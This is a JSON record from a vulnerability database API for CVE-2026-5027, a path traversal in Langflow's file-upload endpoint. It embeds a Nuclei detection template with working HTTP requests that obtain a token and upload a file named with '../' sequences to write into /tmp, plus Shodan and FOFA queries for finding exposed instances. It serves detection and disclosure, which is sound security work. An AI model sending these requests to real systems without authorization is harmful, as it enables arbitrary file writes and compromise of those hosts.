{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-5027/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-5027/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-5027/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-5027/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-5027/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-5027"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-5027"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-5027.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-5027\n\ninfo:\n  name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload\n  author: pussycat0x\n  severity: high\n  description: |\n    The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.\n  impact: |\n    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.\n  remediation: |\n    Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.\n  reference:\n    - https://github.com/langflow-ai/langflow/pull/12227\n    - https://github.com/0xBlackash/CVE-2026-5027\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-5027\n    epss-score: 0.04758\n    epss-percentile: 0.91549\n    cwe-id: CWE-22\n  metadata:\n    max-request: 2\n    vendor: langflow-ai\n    product: langflow\n    shodan-query: title:\"Langflow\"\n    fofa-query: title=\"Langflow\"\n  tags: cve,cve2026,langflow,lfi,intrusive,vkev\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/auto_login HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n      - |\n        POST /api/v2/files HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650\n\n        ------WebKitFormBoundarya3f2c8d9e7b14650\n        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../tmp/{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------WebKitFormBoundarya3f2c8d9e7b14650--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 201\"\n          - \"contains_all(body_2, 'id','name','path')\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body_1\n        json:\n          - \".access_token\"\n        internal: true\n\n      - type: json\n        part: body_2\n        json:\n          - \".path\"\n\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: application/json\n\n        username={{username}}&password={{password}}\n\n      - |\n        POST /api/v2/files HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650\n\n        ------WebKitFormBoundarya3f2c8d9e7b14650\n        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../tmp/{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------WebKitFormBoundarya3f2c8d9e7b14650--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 201\"\n          - \"contains_all(body_2, 'id','name','path')\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body_1\n        json:\n          - \".access_token\"\n        internal: true\n\n      - type: json\n        part: body_2\n        json:\n          - \".path\"\n# digest: 4b0a00483046022100d6423adfe396c18ca0e39bb811665f9b6341098489df23ae4aa60bf6c0492ad6022100a82c99980bce55c41e86686d353fb9fd3657e03295e2e117b332903709e2d745:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-5027"
}